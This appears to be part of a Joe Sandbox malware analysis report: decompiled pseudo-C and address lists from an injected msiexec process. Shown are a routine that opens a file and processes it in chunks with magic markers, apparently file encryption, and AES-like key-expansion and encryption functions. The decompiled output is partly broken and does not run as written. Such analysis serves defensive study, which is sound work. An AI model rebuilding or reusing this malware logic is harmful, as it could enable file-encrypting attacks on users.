					 *((long long*)(_t335 + 0x658)) = __r13;
					r13d = 0;
					if((_t123 & 0x00000001) == 0) {
						_t207 = r13d;
						 *(_t335 + 0x4c) = r13d;
					} else {
						 *((long long*)( *0x00381C3A + 0x2b74df))();
					}
					 *(_t335 + 0x38) = _t358;
					 *(_t335 + 0x30) = r13d;
					 *(_t335 + 0x28) = 3;
					r9d = 5;
					r8d = 0xc0000000;
					 *(_t335 + 0x20) = _t358;
					 *0x6c6030a4();
					 *((long long*)(_t335 + 0x58)) = 0x6c6030a4;
					_t324 = 0x6c6030a4;
					if(0x6c6030a4 != 0xffffffff) {
						 *((long long*)(_t335 + 0x650)) = _t366;
						 *((long long*)(_t335 + 0x70)) = 0x6c6030a4;
						 *((long long*)(_t335 + 0x68)) = 0x6c6030a4;
						 *((long long*)(_t335 + 0x60)) = 0x38f990;
						 *((long long*)( *0x00381583 - 0x93fcc7b))();
						_t315 = _t331 + 0x598;
						_t217 =  *0x00381473 + 0x167eb;
						 *(_t331 + 0x598) = r13d;
						 *_t217();
						_t174 =  *(_t331 + 0x598);
						r15d = 0;
						 *(_t335 + 0x48) = 0;
						if(_t174 != 0 || 0 >= 0x10 && (r14d == 0 || 0 >= 0x3200000)) {
							r8d = 0x28b;
							E00385A30();
							if(_t174 != 0 || r15d >= 0x29b) {
								 *(_t335 + 0x50) = r13d;
								 *(_t335 + 0x40) = _t217;
								r9d = 2;
								 *((long long*)( *0x003828E3 - 0x6fdaf992))();
								 *(_t335 + 0x20) = _t358;
								r8d = 8;
								_t315 = _t331 + 0x2c0;
								 *((long long*)( *0x00382D7A - 0xbf008ee))();
								if( *((intOrPtr*)(_t331 + 0x2c0)) != 0x4a93a12f ||  *((intOrPtr*)(_t331 + 0x2c4)) != 0x65ce3d20) {
									_t174 =  *(_t331 + 0x598);
									goto L24;
								} else {
									 *((long long*)( *0x0038203A - 0x4ec641ef))();
									if(_t207 != 0) {
										 *((long long*)( *((intOrPtr*)(0x381c3a)) + 0x2b74df))();
									}
									_t152 = 0xfffffff7;
								}
							} else {
								L24:
								_t132 =  *((long long*)(0xffffffffae25d0d8))();
								_t180 =  *(_t331 + 0x598);
								_t175 = _t132;
								 *(_t335 + 0x44) = _t180;
								 *(_t335 + 0x40) = r15d;
								 *(_t335 + 0x28) = _t358;
								 *(_t335 + 0x40) =  *(_t335 + 0x40) + 0x28b;
								 *(_t335 + 0x20) =  *(_t335 + 0x40);
								r9d = _t180;
								_t56 = _t315 + 4; // 0x4
								r8d = _t56;
								 *((long long*)( *0x00381A43 + 0x19360f))();
								 *(_t335 + 0x40) = 0xffffffffae25d0d8;
								_t359 = 0xffffffffae25d0d8;
								if(0x38a860 != 0) {
									r8d = 0x236;
									E00385A30();
									r8d = 0xf4;
									E00385A30();
									 *0x0038E890();
									 *((intOrPtr*)(_t331 - 0x80)) = 0xa4ef5c91;
									_t227 = 0x389710;
									 *((intOrPtr*)(_t331 - 0x5c)) = 0;
									r8d = 1;
									 *0x6f6f2a71();
									r14d = 0;
									if(_t175 != 0) {
										_t206 = _t175;
										_t356 =  *0x003820E3 + 0x1776ef;
										asm("o16 nop [eax+eax]");
										while(1) {
											r15d = 0xa00000;
											r9d = r14d;
											r15d =  <  ? _t206 - r14d : r15d;
											r8d = 0;
											r13d = r15d;
											 *(_t335 + 0x20) = _t359;
											 *_t356();
											if(_t227 == 0) {
												break;
											}
											 *0x003897F0();
											 *((intOrPtr*)(_t331 - 0x5c)) =  *((intOrPtr*)(_t331 - 0x5c)) + r15d;
											if( *((intOrPtr*)(_t331 + 0x5b0)) != 0) {
												 *((long long*)( *0x00381A93 + 0x3280a5))();
											}
											_t227 =  *0x00382693 - 0x52488a05;
											 *_t227();
											r14d = r14d + 0xa00000;
											if(r14d < _t206) {
												continue;
											}
											break;
										}
										_t324 =  *((intOrPtr*)(_t335 + 0x58));
										_t207 =  *(_t335 + 0x4c);
										_t353 =  *((intOrPtr*)(_t331 + 0x590));
										r15d =  *(_t335 + 0x48);
										_t359 =  *(_t335 + 0x40);
									}
									 *(_t335 + 0x50) = 0x46e53f0d;
									 *0x46e53f0d();
									 *((intOrPtr*)(_t331 + 0x2c8)) =  *((intOrPtr*)(_t331 + 0x5b8));
									 *((intOrPtr*)(_t331 + 0x2c0)) = 0x4a93a12f;
									 *((intOrPtr*)(_t331 + 0x2c4)) = 0x65ce3d20;
									 *0x38cdcd();
									_t319 =  !=  ? 0x390bc2 : _t353;
									r8d = r8d | 0xffffffff;
									 *0x00390CE0();
									 *(_t335 + 0x20) =  *((intOrPtr*)(_t331 + 0x5a8));
									_t233 = 0x38cec0;
									_t94 = _t319 - 0x45; // 0x236
									r9d = _t94;
									 *((intOrPtr*)(_t331 + 0x2cc)) =  *0x1d403786();
									 *0x0038FF40();
									_t176 = 0;
									_t363 =  *((intOrPtr*)(0x3828e3)) - 0x6fdaf992;
									do {
										 *(_t335 + 0x40) = r15d;
										 *((long long*)(_t335 + 0x58)) = _t233;
										r9d = 0;
										 *(_t335 + 0x44) =  *(_t331 + 0x598);
										_t291 = _t324;
										if( *_t363() == 0) {
											goto L38;
										} else {
											 *(_t335 + 0x48) = 0;
											_t233 =  *0x003818DA - 0x12637a89;
											 *(_t335 + 0x20) = _t291;
											r8d = 0x28b;
											if( *_t233() != 0) {
												if( *((intOrPtr*)(_t331 + 0x5b0)) != 0) {
													 *((long long*)( *0x00381ED3 + 0x22c8c7))();
												}
											} else {
												goto L38;
											}
										}
										L42:
										 *(_t335 + 0x50)();
										if(_t207 != 0) {
											 *((long long*)( *((intOrPtr*)(0x381c3a)) + 0x2b74df))();
										}
										_t266 =  *((intOrPtr*)(0x38203a)) - 0x4ec641ef;
										 *_t266();
										 *0x0038A8E0();
										 *((long long*)( *0x00381E33 + 0x1e9c4a))();
										 *_t266();
										_t152 = 0;
										goto L45;
										L38:
										_t176 = _t176 + 1;
									} while (_t176 < 0x500);
									goto L42;
								} else {
									 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
									if(_t207 != 0) {
										 *((long long*)( *((intOrPtr*)(0x381c3a)) + 0x2b74df))();
									}
									_t152 = 0xfffffff6;
								}
							}
						} else {
							 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
							if(_t207 != 0) {
								 *((long long*)( *((intOrPtr*)(0x381c3a)) + 0x2b74df))();
							}
							_t152 = 0xfffffff8;
						}
						L45:
					} else {
						if(_t207 != 0) {
							 *((long long*)( *((intOrPtr*)(0x381c3a)) + 0x2b74df))();
						}
						_t152 = 0xfffffff9;
					}
					return _t152;
				} else {
					return 0xfffffff3;
				}
			}

0x0038a9d0
0x0038a9d0
0x0038a9d0
0x0038a9d5
0x0038a9e1
0x0038a9e9
0x0038a9fa
0x0038aa00
0x0038aa03
0x0038aa15
0x0038aa17
0x0038aa1b
0x0038aa20
0x0038aa36
0x0038aa3e
0x0038aa46
0x0038aa4b
0x0038aa66
0x0038aa69
0x0038aa4d
0x0038aa62
0x0038aa62
0x0038aa6e
0x0038aa7a
0x0038aa85
0x0038aa8d
0x0038aa93
0x0038aa99
0x0038aaa3
0x0038aaa5
0x0038aaaa
0x0038aab1
0x0038aad7
0x0038aadf
0x0038aae9
0x0038aaf3
0x0038ab0d
0x0038ab16
0x0038ab1d
0x0038ab23
0x0038ab2d
0x0038ab2f
0x0038ab35
0x0038ab38
0x0038ab3e
0x0038ab8e
0x0038ab94
0x0038ab9b
0x0038abac
0x0038abb1
0x0038abc2
0x0038abd8
0x0038abec
0x0038abf1
0x0038abf7
0x0038ac01
0x0038ac0d
0x0038ac4f
0x00000000
0x0038ac1b
0x0038ac2b
0x0038ac2f
0x0038ac43
0x0038ac43
0x0038ac45
0x0038ac45
0x0038ac55
0x0038ac55
0x0038ac67
0x0038ac69
0x0038ac6f
0x0038ac78
0x0038ac83
0x0038ac94
0x0038ac99
0x0038aca6
0x0038acaa
0x0038acb2
0x0038acb2
0x0038acb6
0x0038acb9
0x0038acbe
0x0038acc4
0x0038ad00
0x0038ad06
0x0038ad14
0x0038ad1a
0x0038ad35
0x0038ad3e
0x0038ad45
0x0038ad4b
0x0038ad52
0x0038ad63
0x0038ad65
0x0038ad6a
0x0038ad77
0x0038ad79
0x0038ad87
0x0038ad90
0x0038ad92
0x0038ad9b
0x0038ada4
0x0038ada8
0x0038adab
0x0038adae
0x0038adb7
0x0038adc0
0x00000000
0x00000000
0x0038ade3
0x0038ade6
0x0038adf1
0x0038ae06
0x0038ae06
0x0038ae12
0x0038ae18
0x0038ae1a
0x0038ae24
0x00000000
0x00000000
0x00000000
0x0038ae24
0x0038ae2a
0x0038ae2f
0x0038ae33
0x0038ae3a
0x0038ae3f
0x0038ae3f
0x0038ae5e
0x0038ae63
0x0038ae70
0x0038ae80
0x0038ae90
0x0038ae9a
0x0038aea6
0x0038aebb
0x0038aebf
0x0038aed4
0x0038aed9
0x0038aeea
0x0038aeea
0x0038aef5
0x0038aeff
0x0038af08
0x0038af0a
0x0038af11
0x0038af13
0x0038af18
0x0038af28
0x0038af2b
0x0038af2f
0x0038af3c
0x00000000
0x0038af3e
0x0038af53
0x0038af57
0x0038af5d
0x0038af62
0x0038af6f
0x0038af84
0x0038af96
0x0038af96
0x00000000
0x00000000
0x00000000
0x0038af6f
0x0038af98
0x0038afa4
0x0038afaa
0x0038afbe
0x0038afbe
0x0038afca
0x0038afd1
0x0038afe3
0x0038b004
0x0038b009
0x0038b00b
0x00000000
0x0038af71
0x0038af71
0x0038af73
0x00000000
0x0038acc6
0x0038acd6
0x0038acda
0x0038acee
0x0038acee
0x0038acf0
0x0038acf0
0x0038acc4
0x0038ab51
0x0038ab61
0x0038ab65
0x0038ab79
0x0038ab79
0x0038ab7b
0x0038ab7b
0x0038b00d
0x0038aab3
0x0038aab5
0x0038aac9
0x0038aac9
0x0038aacb
0x0038aacb
0x0038b033
0x0038aa22
0x0038aa35
0x0038aa35

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 003898A0, Relevance: .4, Instructions: 377
Crypto

C-Code - Quality: 85%

			E003898A0(void* __edx, unsigned long long __rax, long long __rbx, signed long long __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, signed int* __r8, long long _a8, long long _a16, long long _a24) {
				signed int _t144;
				signed int _t182;
				signed int _t192;
				signed int _t222;
				signed int _t228;
				signed int _t234;
				signed int _t246;
				signed int _t253;
				signed int _t259;
				signed int _t268;
				signed int _t282;
				void* _t283;
				signed int _t289;
				signed int _t290;
				signed int _t291;
				signed int _t300;
				signed int _t301;
				signed int _t302;
				signed int _t305;
				signed int _t312;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t325;
				unsigned long long _t334;
				signed long long _t335;
				signed long long _t336;
				signed long long _t337;
				unsigned long long _t338;
				signed long long _t339;
				unsigned long long _t340;
				unsigned long long _t341;
				signed long long _t342;
				unsigned long long _t343;
				signed int* _t346;
				signed long long _t347;
				signed long long _t348;
				signed long long _t349;
				unsigned long long _t350;
				signed long long _t351;
				long long _t352;
				signed long long _t360;
				unsigned long long _t361;
				signed long long _t362;
				long long _t364;
				long long _t372;
				long long* _t385;
				signed int* _t387;
				signed int* _t388;
				signed int* _t389;
				signed int* _t390;
				signed int* _t391;
				signed int* _t392;
				signed int* _t393;

				_t372 = __rsi;
				_t364 = __rdi;
				_t360 = __rcx;
				_t352 = __rbx;
				_t334 = __rax;
				_t283 = __edx;
				_t390 = __r8;
				_t387 = __rcx;
				if(__rcx == 0 || __r8 == 0) {
					return _t144 | 0xffffffff;
				} else {
					if((__rdx - 0x00000080 & 0xffffff3f) != 0 || __edx == 0x140) {
						return 0xfffffffe;
					} else {
						_a16 = __rbp;
						if(__edx != 0x80) {
							_t149 =  ==  ? 0xc : 0xe;
							 *((intOrPtr*)(__r8 + 0xf0)) =  ==  ? 0xc : 0xe;
						} else {
							 *((intOrPtr*)(__r8 + 0xf0)) = 0xa;
						}
						_t388 =  &(_t390[1]);
						_a8 = _t352;
						asm("rol eax, 0x8");
						asm("ror ebp, 0x8");
						_a24 = _t372;
						_t325 =  *_t387 & 0xff00ff00 |  *_t387 & 0x00ff00ff;
						 *_t385 = _t364;
						 *_t390 = _t325;
						asm("ror eax, 0x8");
						asm("rol ecx, 0x8");
						 *_t388 = _t387[1] & 0xff00ff00 | _t387[1] & 0x00ff00ff;
						asm("ror eax, 0x8");
						asm("rol ecx, 0x8");
						_t390[2] = _t387[2] & 0xff00ff00 | _t387[2] & 0x00ff00ff;
						asm("ror ecx, 0x8");
						asm("rol eax, 0x8");
						_t222 = _t387[3] & 0xff00ff00 | _t387[3] & 0x00ff00ff;
						_t390[3] = _t222;
						if(_t283 != 0x80) {
							asm("ror ecx, 0x8");
							asm("rol eax, 0x8");
							_t390[4] = _t387[4] & 0xff00ff00 | _t387[4] & 0x00ff00ff;
							asm("ror ecx, 0x8");
							asm("rol eax, 0x8");
							_t228 = _t387[5] & 0xff00ff00 | _t387[5] & 0x00ff00ff;
							_t390[5] = _t228;
							if(_t283 != 0xc0) {
								asm("ror ecx, 0x8");
								asm("rol eax, 0x8");
								_t390[6] = _t387[6] & 0xff00ff00 | _t387[6] & 0x00ff00ff;
								asm("ror ecx, 0x8");
								asm("rol eax, 0x8");
								_t234 = _t387[7] & 0xff00ff00 | _t387[7] & 0x00ff00ff;
								_t390[7] = _t234;
								if(_t283 == 0x100) {
									r8d = _t234;
									_t335 = _t334 >> 0x10;
									asm("btc edx, 0x18");
									_t336 = _t335 >> 8;
									_t337 = _t336 >> 0x18;
									_t289 =  *(0x59063c27 + _t335 * 4) & 0xff000000 ^  *(0x393cfb8f + _t336 * 4) & 0x00ff0000 ^  *(0x392a84 + _t337 * 4) & 0x000000ff ^  *(0x397f8b + _t337 * 4) & 0x0000ff00 ^ _t325;
									_t390[8] = _t289;
									_t290 = _t289 ^  *_t388;
									_t389 =  &(_t390[0xc]);
									_t390[9] = _t290;
									_t291 = _t290 ^ _t390[2];
									_t390[0xa] = _t291;
									_t390[0xb] = _t291 ^ _t390[3];
									_t391 = 0x39c134;
									do {
										_t389 =  &(_t389[8]);
										_t338 = _t337 >> 8;
										r8d =  *(0x397f8b + _t338 * 4);
										_t339 = _t338 >> 0x10;
										r8d = r8d & 0x0000ff00;
										_t340 = _t339 >> 0x18;
										r8d = r8d ^  *(0x393cfb8f + _t339 * 4) & 0x00ff0000;
										r8d = r8d ^  *(0x59063c27 + _t340 * 4) & 0xff000000;
										r8d = r8d ^  *(0x392a84 + _t340 * 4) & 0x000000ff;
										r8d = r8d ^  *(_t389 - 0x40);
										_t182 =  *(_t389 - 0x3c) ^ r8d;
										 *(_t389 - 0x1c) = _t182;
										_t246 =  *(_t389 - 0x38) ^ _t182;
										 *(_t389 - 0x20) = r8d;
										 *(_t389 - 0x14) =  *(_t389 - 0x34) ^ _t246;
										 *(_t389 - 0x18) = _t246;
										_t341 = _t340 >> 0x10;
										r8d =  *(0x59063c27 + _t341 * 4);
										_t342 = _t341 >> 8;
										r8d = r8d & 0xff000000;
										_t337 = _t342 >> 0x18;
										r8d = r8d ^  *(0x393cfb8f + _t342 * 4) & 0x00ff0000;
										r8d = r8d ^  *(0x392a84 + _t337 * 4) & 0x000000ff;
										r8d = r8d ^  *(0x397f8b + _t337 * 4) & 0x0000ff00;
										r8d = r8d ^  *(_t389 - 0x30);
										r8d = r8d ^  *_t391;
										_t391 =  &(_t391[1]);
										 *(_t389 - 0x10) = r8d;
										_t192 =  *(_t389 - 0x2c) ^ r8d;
										 *(_t389 - 0xc) = _t192;
										_t253 =  *(_t389 - 0x28) ^ _t192;
										 *(_t389 - 8) = _t253;
										 *(_t389 - 4) =  *(_t389 - 0x24) ^ _t253;
									} while (_t391 != 0x39c14c);
								}
							} else {
								r8d = _t228;
								_t343 = _t334 >> 0x10;
								asm("btc edx, 0x18");
								_t344 = _t343 >> 8;
								_t346 =  &(_t390[0xa]);
								_t300 =  *(0x38cc93 + _t343 * 4) & 0xff000000 ^  *(0x6761c359 + (_t343 >> 8) * 4) & 0x00ff0000 ^  *(0x38e3bd + (_t344 >> 0x18) * 4) & 0x000000ff ^  *(0x1fa9cbbe + (_t344 >> 0x18) * 4) & 0x0000ff00 ^ _t325;
								_t390[6] = _t300;
								_t301 = _t300 ^  *_t388;
								_t390[7] = _t301;
								_t302 = _t301 ^ _t390[2];
								_t390[8] = _t302;
								_t390[9] = _t302 ^ _t390[3];
								_t392 = 0x39c134;
								do {
									_t259 =  *(_t346 - 0x14);
									_t305 =  *(_t346 - 0x18) ^  *(_t346 - 4);
									 *_t346 = _t305;
									_t346 =  &(_t346[6]);
									 *(_t346 - 0x14) = _t259 ^ _t305;
									r8d =  *(_t346 - 0x14);
									_t361 = _t360 >> 0x10;
									r9d =  *(0x38cc93 + _t361 * 4);
									_t362 = _t361 >> 8;
									r9d = r9d & 0xff000000;
									_t360 = _t362 >> 0x18;
									r9d = r9d ^  *(0x6761c359 + _t362 * 4) & 0x00ff0000;
									r9d = r9d ^  *(0x38e3bd + _t360 * 4) & 0x000000ff;
									r9d = r9d ^  *(0x1fa9cbbe + _t360 * 4) & 0x0000ff00;
									r9d = r9d ^  *(_t346 - 0x28);
									r9d = r9d ^  *_t392;
									_t392 =  &(_t392[1]);
									 *(_t346 - 0x10) = r9d;
									_t268 =  *(_t346 - 0x24) ^ r9d;
									 *(_t346 - 0xc) = _t268;
									_t312 =  *(_t346 - 0x20) ^ _t268;
									 *(_t346 - 8) = _t312;
									 *(_t346 - 4) =  *(_t346 - 0x1c) ^ _t312;
								} while (_t392 != 0x39c150);
							}
						} else {
							r8d = _t222;
							_t347 = _t334 >> 0x10;
							asm("btc edx, 0x18");
							_t348 = _t347 >> 8;
							_t349 = _t348 >> 0x18;
							_t318 =  *(0x3949e6 + _t347 * 4) & 0xff000000 ^  *(0x60f32853 + _t348 * 4) & 0x00ff0000 ^  *(0x169e37c4 + _t349 * 4) & 0x000000ff ^  *(0x62939185 + _t349 * 4) & 0x0000ff00 ^ _t325;
							_t390[4] = _t318;
							_t319 = _t318 ^  *_t388;
							_t390[5] = _t319;
							_t320 = _t319 ^ _t390[2];
							_t390[6] = _t320;
							_t390[7] = _t320 ^ _t390[3];
							_t393 = 0x39c134;
							asm("o16 nop [eax+eax]");
							do {
								_t388 =  &(_t388[4]);
								_t350 = _t349 >> 0x10;
								r8d =  *(0x3949e6 + _t350 * 4);
								_t351 = _t350 >> 8;
								r8d = r8d & 0xff000000;
								_t349 = _t351 >> 0x18;
								r8d = r8d ^  *(0x60f32853 + _t351 * 4) & 0x00ff0000;
								r8d = r8d ^  *(0x169e37c4 + _t349 * 4) & 0x000000ff;
								r8d = r8d ^  *(0x62939185 + _t349 * 4) & 0x0000ff00;
								r8d = r8d ^  *(_t388 - 4);
								r8d = r8d ^  *_t393;
								_t393 =  &(_t393[1]);
								_t388[3] = r8d;
								r8d = r8d ^  *_t388;
								_t388[4] = r8d;
								_t282 = _t388[1] ^ r8d;
								_t388[5] = _t282;
								_t388[6] = _t388[2] ^ _t282;
							} while (_t393 != 0x39c158);
						}
						return 0;
					}
				}
			}

0x003898a0
0x003898a0
0x003898a0
0x003898a0
0x003898a0
0x003898a0
0x003898a4
0x003898a7
0x003898ad
0x00389e7c
0x003898bc
0x003898c4
0x00389e74
0x003898d6
0x003898d6
0x003898e1
0x00389900
0x00389903
0x003898e3
0x003898e3
0x003898e3
0x0038990d
0x00389913
0x00389918
0x00389920
0x00389929
0x0038992e
0x00389930
0x00389934
0x0038993d
0x00389940
0x00389950
0x00389959
0x0038995c
0x0038996c
0x00389976
0x00389979
0x00389987
0x00389989
0x00389993
0x00389aee
0x00389af7
0x00389b01
0x00389b0b
0x00389b0e
0x00389b1c
0x00389b1e
0x00389b28
0x00389c7e
0x00389c87
0x00389c91
0x00389c9b
0x00389c9e
0x00389cac
0x00389cae
0x00389cb8
0x00389cbe
0x00389cd1
0x00389d05
0x00389d11
0x00389d25
0x00389d40
0x00389d49
0x00389d4d
0x00389d50
0x00389d54
0x00389d58
0x00389d5c
0x00389d64
0x00389d68
0x00389d70
0x00389d74
0x00389d7a
0x00389d81
0x00389d87
0x00389d8b
0x00389d9b
0x00389da5
0x00389db4
0x00389dbf
0x00389dc2
0x00389dca
0x00389dcd
0x00389dd1
0x00389dd9
0x00389ddd
0x00389de1
0x00389deb
0x00389df2
0x00389df8
0x00389dfc
0x00389e0c
0x00389e16
0x00389e1d
0x00389e2c
0x00389e2f
0x00389e33
0x00389e36
0x00389e3a
0x00389e42
0x00389e45
0x00389e4d
0x00389e4f
0x00389e59
0x00389e5d
0x00389e66
0x00389b2e
0x00389b2e
0x00389b41
0x00389b75
0x00389b81
0x00389ba8
0x00389bb4
0x00389bbd
0x00389bc1
0x00389bc4
0x00389bc8
0x00389bcc
0x00389bd4
0x00389bd8
0x00389be0
0x00389be0
0x00389be6
0x00389be9
0x00389beb
0x00389bf1
0x00389bf4
0x00389bfb
0x00389c02
0x00389c09
0x00389c0d
0x00389c1e
0x00389c28
0x00389c2f
0x00389c3f
0x00389c42
0x00389c46
0x00389c49
0x00389c4d
0x00389c54
0x00389c57
0x00389c5d
0x00389c5f
0x00389c67
0x00389c6a
0x00389c73
0x00389999
0x00389999
0x003899ac
0x003899e0
0x003899ec
0x00389a00
0x00389a1b
0x00389a24
0x00389a28
0x00389a2b
0x00389a2f
0x00389a33
0x00389a3b
0x00389a3f
0x00389a46
0x00389a50
0x00389a54
0x00389a5a
0x00389a61
0x00389a67
0x00389a6b
0x00389a81
0x00389a85
0x00389a8c
0x00389a9b
0x00389a9e
0x00389aa2
0x00389aa5
0x00389aa9
0x00389aad
0x00389ab0
0x00389ab8
0x00389abb
0x00389ac5
0x00389ac9
0x00389a50
0x00389ae7
0x00389ae7
0x003898c4

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 00389E80, Relevance: .4, Instructions: 371
Crypto

C-Code - Quality: 78%

			E00389E80(signed int __rax, signed int __rcx, signed int __rdx, signed int __r8, signed int __r9, signed int __r10) {
				intOrPtr _t186;
				signed int _t221;
				signed int _t261;
				signed int _t271;
				signed int _t350;
				signed long long _t371;
				unsigned long long _t377;
				signed long long _t378;
				signed long long _t379;
				unsigned long long _t380;
				signed long long _t381;
				signed long long _t382;
				unsigned long long _t383;
				signed long long _t384;
				signed long long _t385;
				signed long long _t386;
				unsigned long long _t389;
				unsigned long long _t392;
				unsigned long long _t393;
				signed long long _t395;
				signed long long _t407;
				unsigned long long _t413;
				signed int* _t414;
				unsigned long long _t419;
				unsigned long long _t424;
				unsigned long long _t425;
				unsigned long long _t430;
				unsigned long long _t432;
				void* _t444;
				unsigned long long _t452;
				unsigned long long _t456;
				unsigned long long _t457;
				unsigned long long _t462;
				signed long long _t464;
				unsigned long long _t468;

				 *((long long*)(_t444 + 0x10)) = __rdx;
				_push(_t413);
				r10d =  *(__rcx + 8);
				asm("rol eax, 0x8");
				asm("inc ecx");
				_t464 = __r8;
				_t462 = (__r10 & _t413 | __rax) ^ __rax;
				r9d =  *(__rcx + 4);
				asm("rol eax, 0x8");
				asm("inc ecx");
				_t456 = (__r9 & _t413 | __rax) ^ __rax;
				r8d =  *(__rcx + 0xc);
				asm("rol eax, 0x8");
				asm("inc ecx");
				asm("rol eax, 0x8");
				asm("ror edx, 0x8");
				_t424 = (__rdx & _t413 | __rax) ^ __rax;
				_t350 =  *(0x38abf4 + __rcx * 4) ^  *(0x3910d3 + (_t462 >> 8) * 4) ^  *(0x39ad53 + (_t424 >> 0x18) * 4) ^  *(0x2da5cff7 + (_t424 >> 0x18) * 4) ^  *(__r8 + 0x10);
				r13d =  *(0x3910d3 + __rcx * 4);
				r13d = r13d ^  *(0x38abf4 + (_t462 >> 0x10) * 4);
				_t371 = _t456 >> 0x18;
				r13d = r13d ^  *(0x39ad53 + _t371 * 4);
				r13d = r13d ^  *(0x2da5cff7 + _t371 * 4);
				r13d = r13d ^  *(__r8 + 0x14);
				_t432 = __r8 + 0x20;
				_t425 = _t424 >> 0x10;
				_t377 = _t462 >> 0x18;
				_t449 = ((__r8 & _t413 | __rax) ^ __rax) >> 0x18;
				 *(_t444 + 0x60) = _t432;
				_t457 = _t456 >> 8;
				_t261 =  *(0x38abf4 + __rcx * 4) ^  *(0x3910d3 + (_t424 >> 8) * 4) ^  *(0x39ad53 + _t377 * 4) ^  *(0x2da5cff7 + _t377 * 4) ^  *(__r8 + 0x18);
				_t271 =  *(0x38abf4 + __rcx * 4) ^  *(0x3910d3 + _t377 * 4) ^  *(0x39ad53 + (((__r8 & _t413 | __rax) ^ __rax) >> 0x18) * 4) ^  *(0x2da5cff7 + _t377 * 4) ^  *(__r8 + 0x1c);
				_t186 = ( *(__r8 + 0xf0) >> 1) - 1;
				 *((intOrPtr*)(_t444 + 0x48)) = _t186;
				if(_t186 != 0) {
					do {
						r10d = _t271;
						r8d = _t261;
						r9d = _t350;
						_t389 = _t377 >> 0x10 >> 8 >> 0x18;
						_t432 = _t432 ^ __rcx ^ __rcx ^ __rcx ^ _t389;
						_t392 = _t389 >> 0x10 >> 8 >> 0x18;
						_t419 = _t413 ^ __rcx ^ __rcx ^ __rcx ^ _t392;
						_t393 = _t392 >> 0x10;
						_t457 = _t457 >> 0x18;
						r11d =  *(0x38abf4 + _t393 * 4);
						_t395 = _t393 >> 8 >> 0x18;
						_t468 = _t464 ^ __rcx ^ __rcx ^ __rcx ^ _t395;
						_t452 =  *(_t444 + 0x60);
						_t430 = _t425 >> 0x00000010 ^ __rcx ^ _t395 ^ __rcx ^ _t395;
						_t350 =  *(0x3910d3 + __rcx * 4) ^  *(0x38abf4 + (_t419 >> 0x10) * 4) ^  *(0x39ad53 + (_t430 >> 0x18) * 4) ^  *(0x2da5cff7 + (_t430 >> 0x18) * 4) ^  *(_t452 + 0x10);
						r13d =  *(0x38abf4 + __rcx * 4);
						r13d = r13d ^  *(0x3910d3 + (_t468 >> 8) * 4);
						_t407 = _t419 >> 0x18;
						r13d = r13d ^  *(0x39ad53 + _t407 * 4);
						r13d = r13d ^  *(0x2da5cff7 + _t407 * 4);
						r13d = r13d ^  *(_t452 + 0x14);
						_t425 = _t430 >> 0x10;
						_t464 = _t468 >> 0x18;
						_t377 = _t432 >> 0x18;
						_t413 = _t419 >> 8;
						 *(_t444 + 0x58) =  *(0x38abf4 + __rcx * 4) ^  *(0x3910d3 + (_t430 >> 8) * 4) ^  *(0x39ad53 + _t377 * 4) ^  *(0x2da5cff7 + _t377 * 4) ^  *(_t452 + 0x18);
						_t261 =  *(_t444 + 0x58);
						_t271 =  *(0x38abf4 + __rcx * 4) ^  *(0x3910d3 + _t377 * 4) ^  *(0x39ad53 + _t464 * 4) ^  *(0x2da5cff7 + _t377 * 4) ^  *(_t452 + 0x1c);
						_t449 = _t452 + 0x20;
						_t122 = _t444 + 0x48;
						 *_t122 =  *((intOrPtr*)(_t444 + 0x48)) - 1;
						 *(_t444 + 0x60) = _t449;
					} while ( *_t122 != 0);
					_t432 = _t449;
				}
				r10d = _t271;
				_t378 = _t377 >> 8;
				r8d = _t350;
				r11d = _t261;
				_t414 =  *((intOrPtr*)(_t444 + 0x50));
				_t379 = _t378 >> 0x10;
				r9d = r13d;
				_t380 = _t379 >> 0x18;
				asm("rol edx, 0x8");
				asm("ror eax, 0x8");
				 *_t414 = ( *(0x39bd30 + _t378 * 4) & 0x0000ff00 ^  *(0x39c160 + _t379 * 4) & 0x00ff0000 ^  *(0x39c560 + _t380 * 4) & 0xff000000 ^  *(0x39cd60 + _t380 * 4) & 0x000000ff ^  *_t432) & 0xff00ff00 | ( *(0x39bd30 + _t378 * 4) & 0x0000ff00 ^  *(0x39c160 + _t379 * 4) & 0x00ff0000 ^  *(0x39c560 + _t380 * 4) & 0xff000000 ^  *(0x39cd60 + _t380 * 4) & 0x000000ff ^  *_t432) & 0x00ff00ff;
				_t381 = _t380 >> 8;
				_t382 = _t381 >> 0x10;
				_t383 = _t382 >> 0x18;
				asm("rol edx, 0x8");
				asm("ror eax, 0x8");
				_t414[1] = ( *(0x39bd30 + _t381 * 4) & 0x0000ff00 ^  *(0x39c160 + _t382 * 4) & 0x00ff0000 ^  *(0x39c560 + _t383 * 4) & 0xff000000 ^  *(0x39cd60 + _t383 * 4) & 0x000000ff ^  *(_t432 + 4)) & 0xff00ff00 | ( *(0x39bd30 + _t381 * 4) & 0x0000ff00 ^  *(0x39c160 + _t382 * 4) & 0x00ff0000 ^  *(0x39c560 + _t383 * 4) & 0xff000000 ^  *(0x39cd60 + _t383 * 4) & 0x000000ff ^  *(_t432 + 4)) & 0x00ff00ff;
				_t384 = _t383 >> 8;
				_t385 = _t384 >> 0x10;
				_t386 = _t385 >> 0x18;
				asm("ror eax, 0x8");
				asm("rol edx, 0x8");
				_t414[2] = ( *(0x39bd30 + _t384 * 4) & 0x0000ff00 ^  *(0x39c160 + _t385 * 4) & 0x00ff0000 ^  *(0x39c560 + _t386 * 4) & 0xff000000 ^  *(0x39cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 8)) & 0xff00ff00 | ( *(0x39bd30 + _t384 * 4) & 0x0000ff00 ^  *(0x39c160 + _t385 * 4) & 0x00ff0000 ^  *(0x39c560 + _t386 * 4) & 0xff000000 ^  *(0x39cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 8)) & 0x00ff00ff;
				asm("rol edx, 0x8");
				asm("ror eax, 0x8");
